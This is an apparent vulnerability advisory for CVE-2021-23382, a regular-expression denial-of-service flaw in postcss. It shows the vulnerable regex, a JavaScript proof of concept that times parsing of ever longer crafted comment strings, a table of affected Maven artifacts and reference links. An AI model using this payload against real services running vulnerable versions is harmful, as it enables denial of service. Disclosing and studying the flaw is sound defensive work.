CVE-2021-23382
Regular Expression Denial of Service in postcss
Description
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
PoC
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Affected Maven artifacts (2)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » postcssvia npm postcss | < 7.0.36>= 8.0.0, < 8.2.13 | 7.0.36, 8.2.13 |
| org.webjars.npm » postcssvia npm postcss | < 7.0.36>= 8.0.0, < 8.2.13 | 7.0.36, 8.2.13 |
Blast radius
66% of the dependent artifacts (2) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 3 |
Most used dependents
- org.webjars.npm » css-modules-loader-core2 usages
- org.mvnpm » css-modules-loader-core1 usages
- org.webjars.npm » github-com-JetBrains-ring-ui0 usages
Computed from the dependency graph of build 20261127.1117 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2021-23382 | nvd.nist.gov |
| Web | postcss/postcss commit 2b1d04c | github.com |
| Web | postcss/postcss release 7.0.36 | github.com |
| Web | vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641 | snyk.io |
| Web | vuln/SNYK-JS-POSTCSS-1255640 | snyk.io |
